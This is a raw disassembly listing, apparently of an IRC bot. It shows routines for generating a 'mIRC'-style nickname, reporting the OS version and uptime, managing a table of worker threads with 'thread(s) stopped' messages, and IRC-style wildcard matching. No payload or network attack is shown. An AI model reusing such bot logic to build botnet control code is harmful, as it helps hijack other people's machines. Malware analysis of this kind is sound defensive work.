		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 2680600h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431250
		push	eax
		push	esi
		nop
		call	near ptr 26B0000h
		movsx	eax, byte_431250
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx


loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx


loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx


loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65


loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F


loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2680600h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 26C0000h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431254
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA


loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4


loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D128
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26C060Eh
		call	near ptr 2680600h
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_43127C


loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431278
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_431274
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431270
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43126C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431268
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431264
		jz	short loc_40AFA0


loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431260


loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431258
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4


loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE


loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2680600h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B022
		mov	eax, offset dword_43D128


loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431280
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------


loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B04D
		mov	eax, offset dword_43D128


loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D58C


loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------


loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D604
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D590[eax*4]
		pop	ecx


loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCB0


loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACB0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------


loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCB0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEB0[esi], eax
		and	dword_43DEB4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEB8[esi], 0
		mov	dword_43DEBC[esi], eax
		and	byte_43DEC8[esi], 0
		pop	esi


loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 0E8006A14h, 22C4E50h, 555E5F90h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0B0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEC4[esi]
		lea	edi, dword_43DEC4[esi]
		call	near ptr 268069Bh
		nop
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp


loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEB8[esi]
		mov	dword_43DEB0[esi], ebx
		mov	dword_43DEB4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx


loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEBC[esi]
		mov	byte ptr dword_43DCB0[esi], bl
		mov	byte_43DEC8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB00C
		lea	esi, dword_43DEC0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB00C
		mov	[esi], ebx
		pop	edi


loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCB0


loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx


loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACB0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEB4


loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327


loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]


loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEB4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEB0


loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax


loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEB0


loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEC4[eax], ecx
		mov	dword_43DEB0[eax], ecx
		mov	dword_43DEB4[eax], ecx
		mov	dword_43DEB8[eax], ecx
		mov	dword_43DEBC[eax], ecx
		mov	dword_43DEC0[eax], ecx
		mov	byte ptr dword_43DCB0[eax], cl
		mov	byte_43DEC8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------


loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------


loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax


loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi


loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562


loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi


loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1


loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax


loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------


loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F


loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------


loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------


loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3


loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1


loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]


loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317A4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431408, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431410


loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431798
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi


loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
